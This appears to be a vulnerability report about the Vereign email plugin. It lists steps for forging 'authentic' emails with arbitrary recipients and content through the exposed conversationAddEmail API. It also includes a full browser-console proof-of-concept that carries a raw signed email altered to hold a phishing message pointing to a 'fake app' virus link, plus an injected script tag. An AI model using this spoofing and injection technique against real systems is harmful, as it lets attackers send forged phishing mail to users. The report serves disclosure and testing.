As a hacker, I can create email message with any content I want without sending it from gmail or roundcube. I can add any recipients and any email message via conversationAddEmail
Steps:
Send any real email with using vereign plugin
Get source code of email from any email client
Modify email content as you want. Change receivers and body message as you want
Change Message Id in email header
Call conversationAddEmail with your passport id and modified email data
Example results:
Added multiple receivers:
newly registered users from this list will see this message
Also, I modified default vereign popup email message to some fake message
Example code to send a email from browser console. The VCL is exposed to lib variable
Also, I injected <script> in this code but hopefully react do not execute it
await lib.conversationAddEmail("a190de2d-6881-4560-b45c-d2485f4e26fa", `Delivered-To: alexey.lunin0@gmail.comReceived: by 2002:a4f:f651:0:0:0:0:0 with SMTP id c17csp869211ivp; Mon, 1 Apr 2019 15:19:05 -0700 (PDT)X-Google-Smtp-Source: APXvYqxH/ypATs94L1JJKnqdeoXCP3xprGTgaqlMfN4RVQs6oZXs3OU459etudz7udpaYH6c+MroX-Received: by 2002:a50:b309:: with SMTP id q9mr43778263edd.91.1554157144953; Mon, 01 Apr 2019 15:19:04 -0700 (PDT)ARC-Seal: i=1; a=rsa-sha256; t=1554157144; cv=none; d=google.com; s=arc-20160816; b=HkM1GJyThICcJ6P51pPkegCoQqoXzpy6+93fYLEK1zYf8aKaZJqMPWn+6S31oQc0x8 zszOmUoMlM3mrn7BIGNNtnnJeBjJujltM68prWe7Xf/iRE1NIHpLLaw8AdEHicmPKuyK dRTMfbuxXfl4pGSdO3kd+MU2Z/ftq6sedlwNgsUwziNA8mQ7CLTTCHrX2emSalIX6ao8 PLGVD2IGTuIhfI+9vt4VCRPXIEYZ0WmCEVtCk1UYiSIGQQBCJUTeVRHUsuez3WbZy+Bm ipG8G5guW6v0ITQtTLNkDFsRdr2jcUcyWlJNc/gaTtdjq3iaBTu/gRt4qK/mHIfWiDkb HwGA==ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; h=to:subject:mime-version:message-id:from:date:dkim-signature :mime-version; bh=PpaT4m835AW80DsP2mo2xZT/LYgNpBTg/TeA1fTy0vI=; b=Sa2Efe1rL8J6OHXHx2BFRIje2ROT+Q6BrdDoW5ySvvKtHYtTa/ztgWB0kJTmWw1tOL Rybn8or7vzo2bCUrWp+qMmnzjFiRyyuLColBQKMg8FWH9jB0/2Ju2TsirgiDtywGaPXr IGR7K62hySlqWeCskDW84N4aWaiszqD7C0n6K55ofCPpEBvCcY8gER6AFloJt7g/YBdu 2so3aipQPUM1B9OqfngMOgR9LlQ2GbjyvGckvfCt47ZsBWK9yntPCfhwMAtU1oWmeWKV k1arETsmUymnDKmd6hu2kjXEsgDZMg4xfoHHFVI4Bd0P+RZ4aEAmXzcPQ6R6Es6RfdBf ++gw==ARC-Authentication-Results: i=1; mx.google.com; dkim=pass header.i=@vereign.com header.s=dc1 header.b="HcK939/F"; spf=pass (google.com: domain of alexey.lunin@vereign.com designates 62.12.145.110 as permitted sender) smtp.mailfrom=alexey.lunin@vereign.comReturn-Path: <alexey.lunin@vereign.com>Received: from kolab.vereign.com (dc1.vereign.com. [62.12.145.110]) by mx.google.com with ESMTPS id p7si128062edm.32.2019.04.01.15.19.04 for <alexey.lunin0@gmail.com> (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 01 Apr 2019 15:19:04 -0700 (PDT)Received-SPF: pass (google.com: domain of alexey.lunin@vereign.com designates 62.12.145.110 as permitted sender) client-ip=62.12.145.110;Authentication-Results: mx.google.com; dkim=pass header.i=@vereign.com header.s=dc1 header.b="HcK939/F"; spf=pass (google.com: domain of alexey.lunin@vereign.com designates 62.12.145.110 as permitted sender) smtp.mailfrom=alexey.lunin@vereign.comMIME-Version: 1.0DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=vereign.com; s=dc1; t=1554157143; bh=iFoLXx49XxW84s0w5bUyL8lo3y8Od4fHlKuFW9yWPTU=; h=Date:From:Subject:To; b=HcK939/Ft71xO/AR6Uhb5mPDR1ukfE4qrAU8cNxicxpiZogYjNqOTPGysneIT3os/ unRVcWvAVv1DXZsNFsbEd8r6476mi9aem1OGRp5SGntVSVZOHsFKOuYTuraRKOKKB1 /rUEUinaJe96ZDzjUty5WdX3c8q4eRN91EDREay8=Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-256; boundary="W0RyLiBEYW15YW4gTWl0ZXZd--ck5GzsRpPFPCGD5mmbat8rPQSG0y1wq5GemKV"Date: Tue, 02 Apr 2019 02:19:00 +0400From: Alexey Lunin <alexey.lunin@vereign.com>Message-Id: <fc084f35441ba36ef0a4c77f299bfbc8@vereign.com>Mime-Version: 1.0Subject: testInjectionTo: someNewUser@example.comThis is a cryptographically signed message in MIME format.--W0RyLiBEYW15YW4gTWl0ZXZd--ck5GzsRpPFPCGD5mmbat8rPQSG0y1wq5GemKVContent-Type: multipart/alternative; boundary="=_d2d1e6ddf837fd97c34cc2953b26d72d"--=_d2d1e6ddf837fd97c34cc2953b26d72dContent-Type: text/plain; charset=UTF-8; format=flowedContent-Transfer-Encoding: quoted-printable--[ Vereign ]--------------------------------------------------------------=-You are invited to verify my credentials at Vereign https://vereign.com.Join my trusted network and sign up to the beta version to start your own h=ttps://app.vereign.com/register.-----------------------------------------------[ Authentic Communication ]-=-test--=_d2d1e6ddf837fd97c34cc2953b26d72dContent-Type: multipart/related; boundary="3fa1d0258d6e0c8cd3b6c983df6c007a9c19d2d68379efef3ad72df6ea6e"--3fa1d0258d6e0c8cd3b6c983df6c007a9c19d2d68379efef3ad72df6ea6eContent-Type: text/html; charset="UTF-8"Content-Transfer-Encoding: quoted-printable<html><head><title>Vereign - Authentic Communication</title><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3DUTF-8" />=</head><body style=3D'font-size: 10pt; font-family: Verdana,Geneva,sans-ser=if'><div> <!--[if (mso | IE)]> <table><tr><td width=3D"600"> <table style=3D"max-width: 600px; color:#504f4e;background-color:#f3f2e=f;"> <tr> <td style=3D"padding: 10px; font-family: helvetica, sans-serif;= font-size: 11px; font-weight: bold;"> You are invited to verify my credentials at <a href=3D"http=s://vereign.com" target=3D"_blank" style=3D"color: #ba1c2d;">Vereign</a>. Join my trusted network and sign up to the beta version to =<a href=3D"https://app.vereign.com/register" target=3D"_blank" style=3D"col=or: #ba1c2d;">start your own</a>. </td> <td style=3D"width: 80px"> <v:oval style=3D"height:68px;width:68px;position:absolute;"= xmlns:v=3D"urn:schemas-microsoft-com:vml" fill=3D"t" fillcolor=3D"#d51d32"= stroke=3D"false"> <v:fill aspect=3D"atleast" type=3D"frame" color=3D"#d51=d32" alt=3D"Social" src=3D"cid:image_3545513206607370623_1.png" style=3D"he=ight:68px;width:68px;"/> </v:oval> <v:image alt=3D"Logo" style=3D"height:25px;width:25px;posit=ion:absolute;left:50px;top:-5px;" src=3D"cid:image_3545513206607370623_2.pn=g"/> </td> </tr> </table> </td></tr></table> <![endif]--> <!--[if !(mso | IE)]><!-- --> <table bgcolor=3D"#f3f2ef" style=3D"max-width: 600px; border-radius: 5p=x; color: #504f4e; background-color: #f3f2ef;" cellpadding=3D"0" cellspaci=ng=3D"0"> <tr> <td style=3D"padding: 10px; font-family: helvetica, sans-serif;= font-size: 11px; font-weight: bold; max-width: 450px;"> It's very important to install our aplication to you computer. <a href=3D"http=s://vereign.com" target=3D"_blank" style=3D"color: #ba1c2d;">Vereign</a>. You can download a virus from this link<a href=3D"http://example.com" target=3D"_blank" style=3D"col=or: #ba1c2d;">link to fake app</a>. </td> <td width=3D"80px" style=3D"vertical-align: top; font-family: h=elvetica, sans-serif;"> <div style=3D"width:80px;"> <div style=3D"max-height:0;max-width:0;overflow: visibl=e;"> <div style=3D"width:68px; height:68px; margin-top:1=0px; margin-right: 10px; display:inline-block; -webkit-border-radius: 50%; =-moz-border-radius: 50%; border-radius: 50%; overflow: hidden; background-c=olor: #d51d32"> <img width=3D"68" height=3D"68" style=3D"object=-fit: cover; height: 68px; width: 68px;" alt=3D"Social" src=3D"cid:image_35=45513206607370623_1.png"/> </div> </div> <div style=3D"max-height:0; max-width:0; overflow:visib=le; position:relative;"> <div style=3D"margin-top:5px; margin-left:50px; dis=play:inline-block; width: 25px; height: 25px;"> <img width=3D"25" height=3D"25" alt=3D"Logo" sr=c=3D"cid:image_3545513206607370623_2.png"/> </div> </div> </div> </td> </tr> </table> <div style=3D"height: 35px;"></div> <!--<![endif]--></div><p>test</p><script type="application/javascript">console.log("Script is executed!!!");</script></body></html>--3fa1d0258d6e0c8cd3b6c983df6c007a9c19d2d68379efef3ad72df6ea6eContent-Disposition: inline; filename="image_3545513206607370623_1.png"Content-Id: <image_3545513206607370623_1.png>Content-Type: image/pngContent-Transfer-Encoding: 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--3fa1d0258d6e0c8cd3b6c983df6c007a9c19d2d68379efef3ad72df6ea6eContent-Disposition: inline; filename="image_3545513206607370623_2.png"Content-Id: <image_3545513206607370623_2.png>Content-Type: image/pngContent-Transfer-Encoding: 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----=_d2d1e6ddf837fd97c34cc2953b26d72d----W0RyLiBEYW15YW4gTWl0ZXZd--ck5GzsRpPFPCGD5mmbat8rPQSG0y1wq5GemKVContent-Description: S/MIME Cryptographic SignatureContent-Disposition: attachment; filename="smime.p7s"Content-Type: application/pkcs7-signature; name="smime.p7s"Content-Transfer-Encoding: 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